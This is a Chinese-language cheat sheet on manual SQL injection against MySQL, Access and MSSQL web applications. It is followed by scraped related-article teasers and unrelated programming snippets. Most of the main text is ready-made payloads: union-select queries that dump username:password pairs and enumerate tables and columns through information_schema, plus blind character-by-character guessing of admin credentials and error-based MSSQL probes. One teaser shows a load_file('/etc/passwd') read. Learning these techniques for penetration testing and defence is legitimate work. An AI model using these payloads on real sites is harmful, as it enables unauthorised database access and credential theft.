SQL手工注入技巧
MYSQL篇
1.内置函数和变量
@@datadir,version(),database(),user(),load_file(),outfile()
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user
3.使用内建数据库查询表段和字段
查表段:
xxx.php?id=1 and 1=2 union select 1,2,table_name from
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–
查字段:
xxx.php?id=1 and 1=2 union select 1,2,column_name from
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–
这里可以再结合下concat的拼接功能
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20)
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]
Access篇
猜表名
*.asp?id=1 and exists (select * from admin)
猜列名
*.asp?id=1 and exists (select password from admin)
Order by查询
*.asp?id=1 order by 3
union 查询
*.asp?id=1 union select 1,password,3 from admin
不支持union的情况
先判断内容的长度
*.asp?id=132 and (select top 1 len(user) from admin) >5
然后一个一个猜
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
'and exists (select * from sysobjects) --
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
'and exists(select * from admin)--
如果存在,会返回正常页面,否则报错,就是不存在。
SQL手工注入技巧的更多相关文章
- SQL手工注入基础篇
0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...
- SQL手工注入进阶篇
0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
- (后端)sql手工注入语句&SQL手工注入大全(转)
转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
随机推荐
- python 爬虫 基于requests模块的get请求
需求:爬取搜狗首页的页面数据 import requests # 1.指定url url = 'https://www.sogou.com/' # 2.发起get请求:get方法会返回请求成功的响应对 ...
- C++四种类型转换总结
C风格的强制类型转换很简单,均用 Type b = (Type)a 形式转换.C++风格的类型转换提供了4种类型转换操作符来应对不同场合的应用,如下表: 转换类型操作符 作用 const_cast 去 ...
- sql server如何精准匹配字符中的字符,绝对匹配
举例: 我现在是需要查询这字段里包含1的数据 我如果直接charindex,那么11,12也会被包含. 解决(1): select * from ( select '1,2,12,111' as s ...
- Android渐变色xml配置
这里渐变色: <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android=&quo ...
- 协程+IO切换+小爬虫
from gevent import monkeymonkey.patch_all() import geventimport requests def f1(url): print(f'GET:{u ...
- sql server if else
DECLARE IF (@sex = '1')BEGIN PRINT '2'END ELSE BEGIN PRINT(1) END begin... end可以省略 declare @sex int ...
- O016、搭建实验环境
参考https://www.cnblogs.com/CloudMan6/p/5350536.html 在学习 OpenStack 各服务之前,需要先搭建一个实验环境. 一个看得到摸得着而且能让 ...
- cefsharp webBrowser Javascript 打开winForm界面
在Cef webBrowser中,如果要调用 Javascript打开 一个 winForm界面,则需要使用 ShowDialog(),而不能使用 Show(),否则界面上的鼠标会转个不停
- UITableViewCell背景色.选中背景色,分割线,字体颜色设置
1.系统默认的颜色设置 //无色 cell.selectionStyle = UITableViewCellSelectionStyleNone; //蓝色 cell.selectionStyle = ...
- springboot-异步线程调用
启动类:添加@EnableAsync注解 @SpringBootApplication @EnableAsync public class Application{ public static voi ...